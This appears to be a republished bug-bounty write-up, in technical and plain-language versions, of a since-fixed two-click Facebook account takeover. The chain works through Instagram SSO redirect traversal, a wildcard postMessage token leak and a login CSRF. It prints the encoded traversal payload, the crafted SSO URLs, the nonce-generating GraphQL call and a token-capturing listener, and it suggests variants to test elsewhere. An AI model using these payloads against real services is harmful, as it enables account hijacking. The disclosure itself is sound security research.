Two‑Click account takeover via FXAuth token abuse
A weak redirect validation in Facebook's native SSO endpoint allowed an attacker to redirect to an Instagram endpoint that leaked tokens via postMessage. Combined with an Instagram login CSRF, an attacker could link a victim's Facebook account to the attacker's Instagram account, achieving account takeover.
Published on ysamm.com
Facebook and Instagram accounts are deeply integrated through Accounts Center, allowing users to link identities, share authentication methods, and manage security settings across platforms.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Facebook and Instagram accounts are deeply integrated through Accounts Center. Users can link identities, share authentication methods and manage security settings across both platforms. The integration relies on native SSO flows, FXAuth tokens and redirect-based handoffs between Facebook and Instagram accountscenter domains.
The entry point for the cross-app authentication is the native SSO endpoint at https://www.facebook.com/login/native_sso/. It accepts several parameters, including:
app_idtoken(the FXAuth token to be signed)extra_data(the redirect path)
The extra_data parameter is validated based on the calling application. For the Instagram application (app_id = 1217981644879628), Facebook historically allowed any redirect path starting with /accounts_center/. That behaviour predates the introduction of accountscenter.instagram.com.
The report describes a complete attack chain that links a victim's Facebook account to the attacker's Instagram account and gives the attacker persistent access.
Setup
The attack needs two parties and a few preconditions:
- An attacker-controlled Instagram account, used to generate a valid
nonceand to receive the linked Facebook account. - A victim with a Facebook account who visits an attacker-controlled website and confirms the Instagram app prompt.
- An FXAuth token generated by the attacker before the exploit, which is later finalised with the victim's
tokenandblob. - A valid
nonce, which cannot be guessed and must be generated legitimately for a specific Instagram user. - The Instagram email-based login flow, used as a login CSRF primitive to force the victim's browser into the attacker's Instagram session.
Finding it
The researcher started from the native SSO endpoint and its extra_data validation. Because the Instagram app was allowed any path beginning with /accounts_center/, the question was whether that prefix could be escaped. By abusing double URL-encoded characters and path traversal, it is possible to escape the intended /accounts_center/ prefix and redirect to any other endpoint while still passing validation.
The following crafted URL demonstrates the bypass:
https://www.facebook.com/login/native_sso/?
&flow=fbcal
&app_id=1217981644879628
&[redacted]
&custom_content_config=accounts_center
&extra_data=/accounts_center/%252%0DE%252%0DE\%252%0DE%252%0DE\/%252%0DE%252%0DE\%252%0DE%252%0DE\any_endpoint
After user confirmation, the flow redirects to https://www.instagram.com/any_endpoint. The double encoding and traversal sequences in extra_data let the value escape the /accounts_center/ prefix while still passing validation.
With the ability to redirect to any endpoint on www.instagram.com, the researcher looked for a suitable endpoint and found /billing_interfaces/external_result:
https://www.instagram.com/billing_interfaces/external_result/?
&token=TOKEN
&blob=BLOB
This endpoint tries to communicate with its opener and parent windows using postMessage with the target origin set to *. Normally only limited data is sent. However, when a valid nonce parameter is added to the endpoint, it sends the entire URL, leaking sensitive parameters including:
tokenblob
That behaviour enables token exfiltration. The obstacle is the nonce: it cannot be guessed and must be generated legitimately for a specific Instagram user. The plan therefore became to generate a nonce for the attacker's Instagram account, then force the victim's browser to log in to that Instagram account.
Exploitation
Preparation I: generating a valid nonce for the endpoint
Using an attacker-controlled Instagram account:
- Visit
https://www.instagram.com/ad_tools/ - Click "Add funds" or "Payment Settings"
- Capture a request containing an
access_token, to eitherfacebook.com/auth/tokenorgraph.facebook.com - Use the access token to call the following GraphQL mutation:
https://graph.facebook.com/graphql/?
&locale=en_US
&access_token=ACCESS_TOKEN
&variables={
"input": {
"country": "US",
"establish_type": "INIT",
"logging_data": {
"logging_counter": 41,
"logging_id": "3790958217"
},
"payment_account_id": "PAYMENT_ACCOUNT_ID",
"upl_logging_data": {},
"actor_id": "1",
"client_mutation_id": "16"
}
}
&server_timestamps=true
&doc_id=8354858754606667
&method=post
PAYMENT_ACCOUNT_ID is obtained from the URL:
https://business.facebook.com/billing_hub/payment_settings/?asset_id=PAYMENT_ACCOUNT_ID
The response contains a valid nonce value, for example: [redacted]
Preparation II: Instagram login CSRF
The victim's browser has to be placed inside the attacker's Instagram session. This can be achieved using Instagram's email-based login flow. When a user initiates a password reset on Instagram, they receive an email titled:
We've made it easy to get back on Instagram
The email contains a "Login as USERNAME" link pointing to:
https://www.instagram.com/_n/web_emaillogin?
&uid=ENCODED_UID
&[redacted]
&auto_send=0
Visiting this URL automatically authenticates you in the browser and sets Instagram session cookies without requiring any further interaction. This endpoint acts as a login CSRF primitive.
Preparation III: generating an FXAuth token to be signed
The FXAuth token used in the attack must be generated by the attacker first. It is sent to the victim in the exploit, and the received token and blob, which will be linked to the initial token, are then used to finalise the linking process with the attacker account.
As the attacker:
- Visit
https://accountscenter.instagram.com/profiles/ - Click "Add account"
- You get redirected to:
https://www.facebook.com/login/native_sso/?
&flow=fbcalcomettest
&app_id=1217981644879628
&[redacted]
&extra_data=%2Fadd%2F%3Fbackground_page%3D%252Fprofiles%252F&custom_content_config=accounts_center
- Extract the
tokenparameter value and close the page without further interaction.
Attack step 0: victim visits the attacker's website
The chain starts when the victim loads a page controlled by the attacker.
Attack step 1: force the victim into the attacker's Instagram session
The attacker forces the victim to log in to the attacker's Instagram account by loading the Instagram login CSRF URL:
https://www.instagram.com/_n/web_emaillogin?
&uid=ENC_UID
&[redacted]
&auto_send=0
Attack step 2: open the crafted native SSO URL
After detecting the login, the attacker's script opens a new window with the crafted native SSO URL:
https://www.facebook.com/login/native_sso/?
&flow=fbcal
&app_id=1217981644879628
&[redacted]
&custom_content_config=accounts_center
&extra_data=/accounts_center/%252%0DE%252%0DE\%252%0DE%252%0DE\/%252%0DE%252%0DE\%252%0DE%252%0DE\billing_interfaces\external_result?nonce=ATTACKER_NONCE
Here the traversal payload in extra_data now points at billing_interfaces/external_result and carries the attacker's nonce as a query parameter.
Attack step 3: victim confirms usage of the Instagram app
The victim confirms the prompt for using the Instagram app.
Attack step 4: redirect back with the victim's token and blob
The endpoint redirects back to:
https://business.facebook.com/billing_interfaces/external_result/?blob=VICTIM_BLOB&[redacted]&nonce=ATTACKER_NONCE
Attack step 5: postMessage leaks the full URL
The endpoint sends a message via postMessage to the opener window containing the full redirect URL.
Attack step 6: capture the message
The attacker captures the message and extracts blob and token using this example listener:
<html>
<body>
<script>
onmessage = (e) => {
log_data(e.data.direct_debit_redirect_url);
};
</script>
</body>
</html>
Attack step 7: finalise the link
Using the stolen victim's blob and token, the attacker later navigates to:
https://accountscenter.instagram.com/add/?
&background_page=%2Fprofiles%2F
&blob=BLOB
&token=TOKEN
&auth_flow=linking
The victim's Facebook account gets linked to the attacker's Instagram account. At this point, the attacker gains control through Accounts Center and can manage settings or authenticate via Instagram.
Root cause
The chain combines several weaknesses:
- Weak redirect validation in native SSO. The
extra_datacheck for the Instagram app only verified the/accounts_center/prefix. Double URL encoding and path traversal sequences let the value pass that check while resolving to a different path, so the flow could redirect to any endpoint onwww.instagram.com. - Token leakage via postMessage.
/billing_interfaces/external_resultposts to itsopenerandparentwith target origin*. With a validnoncepresent, it sends the entire URL, includingtokenandblob, to whoever opened the window. - FXAuth token reuse. The attacker's pre-generated FXAuth token is signed in the victim's browser and the resulting
tokenandblobare linked back to the attacker's account, so the linking completes without the attacker ever holding the victim's credentials. - Email-based Instagram login CSRF.
/_n/web_emailloginauthenticates the browser and sets session cookies on a simple GET, with no further interaction, which lets the attacker place the victim inside the attacker's Instagram session.
The nonce requirement is what keeps the postMessage leak from being trivially exploitable: it cannot be guessed and must be generated legitimately for a specific Instagram user, which is why the chain needs the attacker's own account and the login CSRF step.
Impact
After successful exploitation, the attacker can:
- Link the victim's Facebook account to the attacker's Instagram account
- Control Facebook account settings through Accounts Center
- Potentially authenticate into Facebook using Instagram login (mobile)
- Maintain long-term access without Facebook credentials or 2FA
The result is persistent Facebook account compromise without passwords or 2FA. The chain depends on the victim visiting the attacker's website and confirming the Instagram app prompt.
Fix
Facebook fixed the bug on 5 November 2024, after acknowledging it on 30 October 2024. The report does not describe the specific code change.
Variants to test
- Prefix checks with encoded traversal. On other SSO or OAuth redirect parameters that validate a path prefix, try double-encoded characters and traversal sequences such as
%252%0DEand\combinations. A positive result is a redirect to a path outside the allowed prefix while the request is still accepted. - postMessage with target origin
*. Look for endpoints that post toopenerorparentwith*and include the full URL or sensitive query parameters under some condition (anonce, a flag, a state value). A positive result is a message received by an attacker page containing tokens or other secrets. - Login CSRF on email login links. Check whether a GET to an email-login endpoint sets session cookies without interaction. A positive result is the browser being logged in to an account chosen by the attacker.
- Cross-domain token handoff. Where a token is generated on one domain and signed on another, test whether a token generated by one account can be completed with values produced in another user's session. A positive result is a link or binding between the two accounts that the second user did not intend.
Timeline
- Oct 16, 2024: bug reported
- Oct 30, 2024: bug acknowledged by Facebook
- Nov 5, 2024: bug fixed by Facebook
- Nov 27, 2024: $30,000 bounty awarded by Meta
What happened, in plain words
Facebook and Instagram are two separate websites, but they are joined together behind the scenes by a feature called Accounts Center. Accounts Center is the place where you can link your Facebook and Instagram identities, share login methods between them, and change security settings for both at once. Because the two sites trust each other, there is a lot of machinery that passes information from one to the other, and that machinery is what this report is about.
A security researcher found a chain of small weaknesses that, joined together, let an attacker link a victim's Facebook account to the attacker's own Instagram account. Once that link exists, the attacker can change the victim's Facebook settings through Accounts Center, and in some cases log in to Facebook through Instagram. The attacker never needs the victim's password or their two-factor authentication code. Meta paid a $30,000 bounty for the report, acknowledged the bug on 30 October 2024 and fixed it on 5 November 2024.
The important word here is chain. No single step is enough on its own. Each step is a small, believable flaw, and the skill in the report is in joining them in the right order. Think of it like a set of doors in a building: none of them is wide open, but one door has a gap under it, the next has a loose hinge, and if you line them up in the right order you can walk from the street to the safe.
Before going further, a few ideas that come up constantly below.
- A URL is the address you type in the browser bar, like
https://www.facebook.com/login/native_sso/. The part after the?is called the query string, and it is a list ofname=valuepairs separated by&. Websites read those pairs to decide what to do. - A parameter is one of those
name=valuepairs. When a page saysapp_id=1217981644879628,app_idis the parameter name and the long number is its value. - An endpoint is a specific address on a server that does one job, like a counter in a shop. You go to that counter for that service and nothing else.
- An API (Application Programming Interface) is a way for one piece of software to ask another piece of software to do something, without a human clicking. It is like a drive-through window: you say what you want in a fixed format and get an answer back.
- A token is a short string of characters that acts like a temporary ticket. If you hold the ticket, the server believes you are allowed in. Tokens are used instead of sending your password over and over. A session cookie is a similar idea: a small piece of data the browser stores and sends back automatically on every request to that site, so the site remembers who you are between page loads.
- SSO stands for Single Sign-On. It means logging in once and being recognised by several related services. When you click "Log in with Google" on some website, that is SSO.
- CSRF stands for Cross-Site Request Forgery. It is when an attacker's website makes your browser send a request to another site, using the fact that your browser automatically attaches your cookies. The victim does not intend the action, but the other site sees a normal logged-in request.
- URL encoding is how special characters are written inside a URL. A space becomes
%20, for example. Double encoding means encoding the result again, so%20becomes%2520. Servers sometimes decode once and check, then decode again later and act, and that gap is where bugs live. - Path traversal means using
..or backslashes to climb out of a folder you were supposed to stay in, like writing../../etcin a file path to reach a directory above your own. - postMessage is a browser feature that lets one window send a message to another window, for example a pop-up talking to the page that opened it. The page that opened the window is called the opener, and the window that contains the current page is called the parent.
- A nonce is a one-time random value. It is used to prove that a request is fresh and was issued by the right party, because an attacker cannot guess it.
- A GraphQL mutation is a request to a GraphQL API that changes something, as opposed to a query that only reads. GraphQL is just a style of API where the client describes exactly what it wants in a structured format.
- 2FA is two-factor authentication, the second proof of identity such as a code from your phone. The whole point of this attack is that it bypasses 2FA entirely.
The setup: who is involved and what they need
The attack needs two people and a handful of ingredients prepared in advance.
- An attacker-controlled Instagram account. The attacker owns it and can log in to it freely. It is used to generate a valid
nonceand, at the end, to receive the linked Facebook account. - A victim with a Facebook account who visits a website the attacker controls and confirms a prompt about the Instagram app.
- An FXAuth token generated by the attacker before the exploit. FXAuth is the name of the token format used in this cross-app flow. The attacker's token is later completed with values produced in the victim's browser.
- A valid nonce, which cannot be guessed and must be generated legitimately for a specific Instagram user. This is why the attacker needs their own account.
- The Instagram email-based login flow, used as a login CSRF primitive. In plain words: a link that logs a browser in to a chosen account just by being visited.
Finding it: the front door and its guard
The entry point for the cross-app authentication is the native SSO endpoint at https://www.facebook.com/login/native_sso/. This is the counter where Facebook hands out proof of identity to a partner app. It accepts several parameters, including:
app_id, which says which application is asking. Each app has its own number.token, the FXAuth token to be signed. "Signed" here means Facebook stamps it as genuine so the other side will trust it.extra_data, the redirect path, meaning where the user should be sent afterwards.
The extra_data parameter is validated based on the calling application. In other words, Facebook checks the app_id first, then applies a different rule for each app. For the Instagram application, whose app_id is 1217981644879628, Facebook historically allowed any redirect path starting with /accounts_center/. That behaviour existed before accountscenter.instagram.com was introduced, so it was old code kept for compatibility.
The researcher's question was simple: if the only rule is "must start with /accounts_center/", can that prefix be escaped? By abusing double URL-encoded characters and path traversal, it is possible to escape the intended /accounts_center/ prefix and redirect to any other endpoint while still passing validation.
The following crafted URL demonstrates the bypass:
https://www.facebook.com/login/native_sso/?
&flow=fbcal
&app_id=1217981644879628
&[redacted]
&custom_content_config=accounts_center
&extra_data=/accounts_center/%252%0DE%252%0DE\%252%0DE%252%0DE\/%252%0DE%252%0DE\%252%0DE%252%0DE\any_endpoint
Line by line, in plain words:
- The first line is the endpoint itself,
https://www.facebook.com/login/native_sso/, followed by a?that starts the query string. flow=fbcalnames the particular login flow being used. It tells Facebook which internal routine to run.app_id=1217981644879628says the request comes from the Instagram app. This is the value that triggers the weaker/accounts_center/prefix rule.- `[redacted] is the placeholder for the attacker's FXAuth token, the ticket that will be signed.
custom_content_config=accounts_centerasks for the Accounts Center version of the page.extra_data=...is the interesting one. It begins with/accounts_center/, so the prefix check passes. After that come sequences like%252%0DEand backslashes.%25is an encoded percent sign, so%252%0DEis a doubly encoded form of%2%0DE. When the value is decoded more than once, those sequences turn into characters that the browser and server treat as path separators or traversal, and the path resolves somewhere else entirely. The finalany_endpointis where the user actually lands.
After user confirmation, the flow redirects to https://www.instagram.com/any_endpoint. The double encoding and traversal sequences in extra_data pass the /accounts_center/ prefix check but resolve to a different path at redirect time. In everyday terms: the guard reads the label on the envelope, sees it starts with the right word, and waves it through, but the postal system inside opens it and delivers it to a different address.
With the ability to redirect to any endpoint on www.instagram.com, the researcher looked for a suitable endpoint and found /billing_interfaces/external_result:
https://www.instagram.com/billing_interfaces/external_result/?
&token=TOKEN
&blob=BLOB
- The first line is the endpoint on Instagram's site.
- `[redacted] is a placeholder for a token value.
blob=BLOBis a placeholder for a blob, which in this context is a second piece of data that travels with the token and is needed to complete the linking.
This endpoint tries to communicate with its opener and parent windows using postMessage with the target origin set to *. The target origin is the rule that says which websites are allowed to receive the message. Setting it to * means "any website at all", which is like shouting a message in a crowded room instead of handing it to one person. Normally only limited data is sent. However, when a valid nonce parameter is added to the endpoint, it sends the entire URL, leaking sensitive parameters including:
tokenblob
That behaviour enables token exfiltration. Exfiltration just means getting data out to a place the attacker controls. The obstacle is the nonce: it cannot be guessed and must be generated legitimately for a specific Instagram user. The plan therefore became to generate a nonce for the attacker's Instagram account, then force the victim's browser to log in to that Instagram account. If the victim's browser is logged in as the attacker, then the nonce the endpoint expects is the attacker's nonce, and the leak lands in the attacker's hands.
Exploitation
Preparation I: generating a valid nonce for the endpoint
Using an attacker-controlled Instagram account:
- Visit
https://www.instagram.com/ad_tools/ - Click "Add funds" or "Payment Settings"
- Capture a request containing an
access_token, to eitherfacebook.com/auth/tokenorgraph.facebook.com - Use the access token to call the following GraphQL mutation:
https://graph.facebook.com/graphql/?
&locale=en_US
&access_token=ACCESS_TOKEN
&variables={
"input": {
"country": "US",
"establish_type": "INIT",
"logging_data": {
"logging_counter": 41,
"logging_id": "3790958217"
},
"payment_account_id": "PAYMENT_ACCOUNT_ID",
"upl_logging_data": {},
"actor_id": "1",
"client_mutation_id": "16"
}
}
&server_timestamps=true
&doc_id=8354858754606667
&method=post
Why each step: the ad tools area is a part of Instagram that talks to Facebook's payment systems, so it naturally produces an access_token, which is a token that proves the request comes from a logged-in user. Capturing that request is just a way to get a legitimate token for the attacker's own account, without breaking anything. The GraphQL mutation then asks Facebook's payment backend to start setting up a payment account, and the response to that request happens to include a nonce.
Line by line:
https://graph.facebook.com/graphql/?is the GraphQL endpoint on Facebook's API host, followed by the query string.locale=en_USsets the language and region.access_token=ACCESS_TOKENis the placeholder for the token captured in step 3. It is what authorises the call.variables={...}is a JSON object, written into the URL, that carries the inputs for the mutation. Inside it,countryisUS,establish_typeisINIT(meaning initialise),logging_dataholds alogging_counterof41and alogging_idof3790958217,payment_account_idis a placeholder for the payment account,upl_logging_datais an empty object,actor_idis1, andclient_mutation_idis16.server_timestamps=trueasks the server to include its own timestamps in the response.doc_id=8354858754606667identifies which stored GraphQL operation to run. GraphQL servers often keep operations by ID rather than by full text.method=postsays the request should be treated as a POST, the HTTP method used for sending data that changes something.
PAYMENT_ACCOUNT_ID is obtained from the URL:
https://business.facebook.com/billing_hub/payment_settings/?asset_id=PAYMENT_ACCOUNT_ID
That is simply where the attacker reads their own payment account number from, so the mutation has something to point at.
The response contains a valid nonce value, for example: [redacted]
Preparation II: Instagram login CSRF
The victim's browser has to be placed inside the attacker's Instagram session. This can be achieved using Instagram's email-based login flow. When a user initiates a password reset on Instagram, they receive an email titled:
We've made it easy to get back on Instagram
The email contains a "Login as USERNAME" link pointing to:
https://www.instagram.com/_n/web_emaillogin?
&uid=ENCODED_UID
&[redacted]
&auto_send=0
- The first line is the email login endpoint.
uid=ENCODED_UIDidentifies the account, in encoded form.- `[redacted] is the one-time value from the email that proves the link is genuine.
auto_send=0is a parameter in the email login link.
Visiting this URL automatically authenticates you in the browser and sets Instagram session cookies without requiring any further interaction. This endpoint acts as a login CSRF primitive. The attacker makes the victim's browser visit such a link for the attacker's own account. The victim's browser is now logged in as the attacker on Instagram, which is exactly the state the nonce step needs.
Preparation III: generating an FXAuth token to be signed
The FXAuth token used in the attack must be generated by the attacker first. It is sent to the victim in the exploit, and the received token and blob, which will be linked to the initial token, are then used to finalise the linking process with the attacker account. In other words, the attacker starts the linking process on their own account, keeps the half-finished ticket, and lets the victim's browser finish it.
As the attacker:
- Visit
https://accountscenter.instagram.com/profiles/ - Click "Add account"
- You get redirected to:
https://www.facebook.com/login/native_sso/?
&flow=fbcalcomettest
&app_id=1217981644879628
&[redacted]
&extra_data=%2Fadd%2F%3Fbackground_page%3D%252Fprofiles%252F&custom_content_config=accounts_center
- The first line is the same native SSO endpoint as before.
flow=fbcalcomettestnames the flow used when adding an account from Accounts Center.app_id=1217981644879628again identifies the Instagram app.- `[redacted] is the fresh token the attacker wants to keep.
extra_data=%2Fadd%2F%3Fbackground_page%3D%252Fprofiles%252Fis the redirect path, fully encoded.%2Fis an encoded slash and%3Fan encoded question mark, so this decodes to/add/?background_page=%2Fprofiles%2F, which is the add-account page.
- Extract the
tokenparameter value and close the page without further interaction.
Why: the attacker only needs the token value. Closing the page stops the process before it completes, so the token stays half-finished and can be completed later in someone else's browser.
Attack step 0: victim visits the attacker's website
The chain starts when the victim loads a page controlled by the attacker. Everything after this happens because the attacker's page can run JavaScript in the victim's browser and open windows.
Attack step 1: force the victim into the attacker's Instagram session
The attacker forces the victim to log in to the attacker's Instagram account by loading the Instagram login CSRF URL:
https://www.instagram.com/_n/web_emaillogin?
&uid=ENC_UID
&[redacted]
&auto_send=0
This is the same URL as in Preparation II, with the attacker's own values. The victim's browser now holds Instagram session cookies for the attacker's account. The attacker's script detects that the login happened before moving on.
Attack step 2: open the crafted native SSO URL
After detecting the login, the attacker's script opens a new window with the crafted native SSO URL:
https://www.facebook.com/login/native_sso/?
&flow=fbcal
&app_id=1217981644879628
&[redacted]
&custom_content_config=accounts_center
&extra_data=/accounts_center/%252%0DE%252%0DE\%252%0DE%252%0DE\/%252%0DE%252%0DE\%252%0DE%252%0DE\billing_interfaces\external_result?nonce=ATTACKER_NONCE
- The first line is the native SSO endpoint.
flow=fbcalis the flow name.app_id=1217981644879628is the Instagram app ID, which triggers the weak prefix check.- `[redacted] is the attacker's half-finished token from Preparation III.
custom_content_config=accounts_centerasks for the Accounts Center page.extra_data=...starts with/accounts_center/to pass the check, then uses the same double-encoded traversal sequences, and ends withbilling_interfaces\external_result?nonce=ATTACKER_NONCE.
Here the traversal payload in extra_data now points at billing_interfaces/external_result and carries the attacker's nonce as a query parameter. That is the whole trick: the redirect lands on the leaking endpoint, and the nonce is already attached, so the endpoint will send the full URL.
Attack step 3: victim confirms usage of the Instagram app
The victim confirms the prompt for using the Instagram app. This is the one moment where the victim clicks something.
Attack step 4: redirect back with the victim's token and blob
The endpoint redirects back to:
https://business.facebook.com/billing_interfaces/external_result/?blob=VICTIM_BLOB&[redacted]&nonce=ATTACKER_NONCE
Now the values are the victim's: VICTIM_BLOB and VICTIM_TOKEN were produced by the victim's browser during the confirmation, and ATTACKER_NONCE is the attacker's nonce that was carried along. The victim's token and blob will be linked to the attacker's original token, which is what makes the final linking possible.
Attack step 5: postMessage leaks the full URL
The endpoint sends a message via postMessage to the opener window containing the full redirect URL. The opener is the window the attacker's script opened, so the attacker's page receives the message. Because the target origin is *, the browser does not stop the message from reaching the attacker's page.
Attack step 6: capture the message
The attacker captures the message and extracts blob and token using this example listener:
<html>
<body>
<script>
onmessage = (e) => {
log_data(e.data.direct_debit_redirect_url);
};
</script>
</body>
</html>
Line by line:
<html>,<body>and<script>are the ordinary tags of a web page and its script block.onmessage = (e) => { ... }sets a function that runs whenever the page receives a message from another window.eis the event, ande.datais the content of the message.log_data(e.data.direct_debit_redirect_url);takes the field nameddirect_debit_redirect_urlout of the message and passes it to a function calledlog_data. That field holds the full redirect URL, which contains the victim'stokenandblob.
Why: the attacker's page only needs to listen. The leaking endpoint does the sending, and the listener simply records what arrives.
Attack step 7: finalise the link
Using the stolen victim's blob and token, the attacker later navigates to:
https://accountscenter.instagram.com/add/?
&background_page=%2Fprofiles%2F
&blob=BLOB
&token=TOKEN
&auth_flow=linking
- The first line is the add-account page on Accounts Center.
background_page=%2Fprofiles%2Fis the encoded path of the page to show behind the dialog, here/profiles/.blob=BLOBis the victim's blob captured in step 6.- `[redacted] is the victim's token captured in step 6.
auth_flow=linkingsays this is the linking flow.
The victim's Facebook account gets linked to the attacker's Instagram account. At this point, the attacker gains control through Accounts Center and can manage settings or authenticate via Instagram. The attacker never saw the victim's password and never needed a 2FA code.
Root cause
The chain combines several weaknesses:
- Weak redirect validation in native SSO. The
extra_datacheck for the Instagram app only verified the/accounts_center/prefix. Double URL encoding and path traversal sequences let the value pass that check while resolving to a different path, so the flow could redirect to any endpoint onwww.instagram.com. - Token leakage via postMessage.
/billing_interfaces/external_resultposts to itsopenerandparentwith target origin*. With a validnoncepresent, it sends the entire URL, includingtokenandblob, to whoever opened the window. - FXAuth token reuse. The attacker's pre-generated FXAuth token is signed in the victim's browser and the resulting
tokenandblobare linked back to the attacker's account, so the linking completes without the attacker ever holding the victim's credentials. - Email-based Instagram login CSRF.
/_n/web_emailloginauthenticates the browser and sets session cookies on a simple GET, with no further interaction, which lets the attacker place the victim inside the attacker's Instagram session.
The nonce requirement is what keeps the postMessage leak from being trivially exploitable: it cannot be guessed and must be generated legitimately for a specific Instagram user, which is why the chain needs the attacker's own account and the login CSRF step.
Impact
After successful exploitation, the attacker can:
- Link the victim's Facebook account to the attacker's Instagram account
- Control Facebook account settings through Accounts Center
- Potentially authenticate into Facebook using Instagram login (mobile)
- Maintain long-term access without Facebook credentials or 2FA
The result is persistent Facebook account compromise without passwords or 2FA. The chain depends on the victim visiting the attacker's website and confirming the Instagram app prompt.
Fix
Facebook fixed the bug on 5 November 2024, after acknowledging it on 30 October 2024. The report does not describe the specific code change.
Variants to test
These are ideas for a researcher who wants to look for similar bugs elsewhere. Each one names what to try and what a positive result looks like.
- Prefix checks with encoded traversal. On other SSO or OAuth redirect parameters that validate a path prefix, try double-encoded characters and traversal sequences such as
%252%0DEand\combinations. A positive result is a redirect to a path outside the allowed prefix while the request is still accepted. - postMessage with target origin
*. Look for endpoints that post toopenerorparentwith*and include the full URL or sensitive query parameters under some condition (anonce, a flag, a state value). A positive result is a message received by an attacker page containing tokens or other secrets. - Login CSRF on email login links. Check whether a GET to an email-login endpoint sets session cookies without interaction. A positive result is the browser being logged in to an account chosen by the attacker.
- Cross-domain token handoff. Where a token is generated on one domain and signed on another, test whether a token generated by one account can be completed with values produced in another user's session. A positive result is a link or binding between the two accounts that the second user did not intend.
Timeline
- Oct 16, 2024: bug reported
- Oct 30, 2024: bug acknowledged by Facebook
- Nov 5, 2024: bug fixed by Facebook
- Nov 27, 2024: $30,000 bounty awarded by Meta
Glossary
- 2FA (two-factor authentication): a second proof of identity, such as a code from your phone, required in addition to your password.
- access_token: a token that proves a request comes from a logged-in user and authorises API calls on their behalf.
- Accounts Center: the feature that links Facebook and Instagram identities and lets users manage settings for both in one place.
- API (Application Programming Interface): a way for software to ask another piece of software to do something, in a fixed format, without a human clicking.
- app_id: a number that identifies which application is making a request.
- blob: a second piece of data that travels with a token and is needed to complete the linking process.
- cookie: a small piece of data a browser stores and sends back automatically to a site, used to remember who you are.
- CSRF (Cross-Site Request Forgery): an attack where an attacker's site makes your browser send a request to another site using your stored cookies, without your intent.
- double encoding: encoding a value twice, so
%20becomes%2520, which can slip past a check that only decodes once. - endpoint: a specific address on a server that performs one job.
- exfiltration: getting data out of a system to a place the attacker controls.
- extra_data: the parameter in the native SSO endpoint that holds the redirect path.
- FXAuth token: the token format used in this cross-app flow, which Facebook signs and which is then used to complete the linking.
- GraphQL: a style of API where the client describes exactly what data it wants in a structured request.
- GraphQL mutation: a GraphQL request that changes something, as opposed to a query that only reads.
- login CSRF: a CSRF attack that logs the victim's browser in to an account chosen by the attacker.
- native SSO: the Single Sign-On endpoint used for cross-app authentication between Facebook and Instagram.
- nonce: a one-time random value that cannot be guessed and proves a request is fresh and legitimate.
- opener: the window that opened the current window, which can receive messages from it.
- parameter: a
name=valuepair in a URL's query string. - parent: the window that contains the current page, for example when a page is shown inside a frame.
- path traversal: using sequences like
..or backslashes to climb out of a folder you were supposed to stay in. - postMessage: a browser feature that lets one window send a message to another window.
- query string: the part of a URL after the
?, made ofname=valuepairs separated by&. - redirect: sending the browser automatically from one address to another.
- session cookie: a cookie that identifies your logged-in session on a site.
- SSO (Single Sign-On): logging in once and being recognised by several related services.
- target origin: the rule in postMessage that says which websites may receive the message;
*means any website. - token: a short string that acts like a temporary ticket, proving you are allowed to do something without resending your password.
- URL: the address of a page or resource, as typed in the browser bar.
- URL encoding: writing special characters in a URL as
%codes, such as%20for a space. - uid: the identifier of a user account.